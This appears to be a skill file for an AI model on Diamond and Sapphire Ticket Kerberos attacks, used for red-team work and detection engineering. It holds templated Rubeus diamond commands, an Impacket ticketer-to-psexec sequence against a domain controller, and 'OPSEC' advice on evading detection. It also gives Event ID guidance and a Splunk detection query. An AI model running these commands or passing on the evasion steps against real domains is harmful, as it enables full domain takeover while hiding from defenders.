| name | diamond-ticket |
| description | Security research skill for understanding Diamond Ticket Kerberos attacks. Use this skill whenever the user asks about Kerberos ticket manipulation, diamond tickets, golden tickets, sapphire tickets, TGT forgery, PAC modification, Rubeus diamond commands, Impacket ticketer, or Kerberos attack detection. Also trigger for questions about AS-REQ/AS-REP flows, krbtgt hash usage, or Event ID 4768/4769/4624 analysis. Make sure to use this skill for any Kerberos security research, red team methodology, or detection engineering questions. |
Diamond Ticket Security Research
A skill for understanding and researching Diamond Ticket Kerberos attack techniques for security research, detection engineering, and defensive analysis.
What is a Diamond Ticket?
A diamond ticket is a modified legitimate TGT (Ticket Granting Ticket) that can access any service as any user. Unlike golden tickets (forged offline), diamond tickets are created by:
- Requesting a legitimate TGT from the domain controller
- Decrypting it with the domain's krbtgt hash
- Modifying PAC attributes (user, groups, SIDs, logon info)
- Re-encrypting with the same krbtgt key
This overcomes golden ticket detection because:
- TGS-REQs have a preceding AS-REQ (normal flow)
- The TGT has correct domain policy details from the DC
Requirements
| Component | Purpose |
|---|
| krbtgt AES256 key (preferred) or NTLM hash | Decrypt and re-sign the TGT |
| Legitimate TGT blob | Base ticket to modify (via /tgtdeleg, asktgt, s4u, or memory export) |
| Context data | Target user RID, group RIDs/SIDs, LDAP-derived PAC attributes |
| Service keys (optional) | AES key of service SPN for service ticket recutting |
Core Workflow
1. Obtain TGT for controlled user via AS-REQ
└─ Rubeus /tgtdeleg coerces client to perform Kerberos GSS-API without credentials
2. Decrypt TGT with krbtgt key
└─ Extract PAC structure and attributes
3. Patch PAC attributes
└─ User, groups, logon info, SIDs, device claims
4. Re-encrypt with krbtgt key
└─ Sign the modified ticket
5. Inject into logon session
└─ kerberos::ptt, Rubeus.exe ptt
Rubeus Diamond Commands
Basic Diamond TGT
./Rubeus.exe diamond /tgtdeleg \
/ticketuser:<target_username> \
/ticketuserid:<target_rid> \
/groups:<comma_separated_rids> \
/krbkey:<KRBTGT_AES256_KEY> \
/ldap /ldapuser:<domain>\\<user> /ldappassword:<password> \
/opsec /nowrap
Parameters:
/tgtdeleg - Returns decryptable TGT without victim credentials/ldap - Queries AD and SYSVOL for real PAC context (GptTmpl.inf, account attributes)/opsec - Windows-like AS-REQ retry, AES-only, realistic KDCOptions/nowrap - Output raw ticket (no base64 wrapping)
Service Ticket Recutting
./Rubeus.exe diamond \
/ticket:<BASE64_TGT_OR_KRB_CRED> \
/service:<SPN> \
/servicekey:<AES256_SERVICE_KEY> \
/ticketuser:<target_username> \
/ticketuserid:<target_rid> \
/ldap /opsec /nowrap
Use when you control a service account key and want to mint realistic TGS without KDC traffic.
Impacket Sapphire Variant
python3 ticketer.py -request -impersonate '<privileged_user>' \
-domain '<domain>' -user '<lowpriv_user>' -password '<password>' \
-aesKey '<krbtgt_aes256>' -domain-sid '<domain_sid>'
export KRB5CCNAME=lowpriv.ccache
python3 psexec.py <domain>/<user>@<dc> -k -no-pass
Sapphire technique: Combines Diamond's real TGT base with S4U2self+U2U to steal a privileged PAC and splice it into your TGT.
Detection & OPSEC
What Defenders Look For
| Indicator | Golden Ticket | Diamond Ticket | Sapphire |
|---|
| TGS-REQ without AS-REQ | ✓ Common | ✗ Has AS-REQ | ✗ Has AS-REQ |
| Decade-long lifetimes | ✓ Common | ✗ Policy-compliant | ✗ Policy-compliant |
| Missing PAC fields | ✓ Common | ✗ Full PAC | ✗ Full PAC |
ENC-TKT-IN-SKEY | ✗ | ✗ | ✓ U2U fingerprint |
additional-tickets | ✗ | ✗ | ✓ U2U fingerprint |
sname = requester | ✗ | ✗ | ✓ Self-service pattern |
OPSEC Best Practices
-
Populate all PAC fields - Logon hours, user profile paths, device IDs. Automated comparisons flag incomplete PACs.
-
Don't oversubscribe groups - If you need Domain Admins (512) and Enterprise Admins (519), stop there. Excessive ExtraSids is a giveaway.
-
Match domain policy - Use /ldap to extract GptTmpl.inf and Kerberos policy. Wrong lifetimes or etypes stand out.
-
Enforce AES-only - Microsoft is phasing out RC4 (CVE-2026-20833). Mixing RC4 into forged PACs will increasingly trigger alerts.
-
Correlate Event IDs - Diamond tickets surface when PAC content looks impossible. Look for:
- Event 4768 (AS-REQ) followed by 4769 (TGS-REQ)
- Event 4624 logon with unusual group membership
- Paired 4768/4769 with same client but different CNAMES (Sapphire)
Detection Engineering
Splunk Security Content provides attack-range telemetry for diamond tickets. Key detections:
- Windows Domain Admin Impersonation Indicator - Correlates unusual 4768/4769/4624 sequences and PAC group changes
- T1558.001 - Steal or Manipulate Kerberos Ticket
Query pattern:
index=windows EventCode=4768
| join EventID with EventCode=4769
| join EventID with EventCode=4624
| where User_Name != Target_User_Name
| where Group_Membership contains "Domain Admins"
References
When to Use This Skill
Use this skill when:
- Researching Kerberos attack techniques for security testing
- Building detection rules for diamond/golden/sapphire tickets
- Understanding AS-REQ/AS-REP/TGS-REQ flows
- Analyzing Event ID 4768/4769/4624 for anomalies
- Studying PAC structure and modification
- Learning about Rubeus or Impacket ticket tools
- Designing red team exercises involving Kerberos
- Creating SOC detection content for T1558.001
Common Questions
Q: Diamond vs Golden ticket?
A: Golden = forged offline from scratch. Diamond = modified legitimate TGT. Diamond is stealthier because it has proper AS-REQ flow and domain policy compliance.
Q: What's the krbtgt hash?
A: The AES256 or NTLM hash of the KRBTGT account. This is the domain's Kerberos signing key. Compromise = full domain control.
Q: How do I get a TGT blob?
A: Rubeus /tgtdeleg (no victim creds needed), asktgt (requires creds), or export from memory (Mimikatz kerberos::list + kerberos::ptt).
Q: What is PAC?
A: Privilege Attribute Certificate. Contains user/group SIDs, logon info, device claims. The "identity baggage" attached to Kerberos tickets.
Q: Sapphire vs Diamond?
A: Sapphire uses S4U2self+U2U to steal a privileged PAC from another user and splice it into your TGT. Diamond modifies your own TGT's PAC directly.
Q: Detection priority?
A: Focus on PAC content anomalies, not just ticket lifetimes. Diamond tickets look legitimate on surface; the forgery shows in impossible group memberships or missing PAC fields.
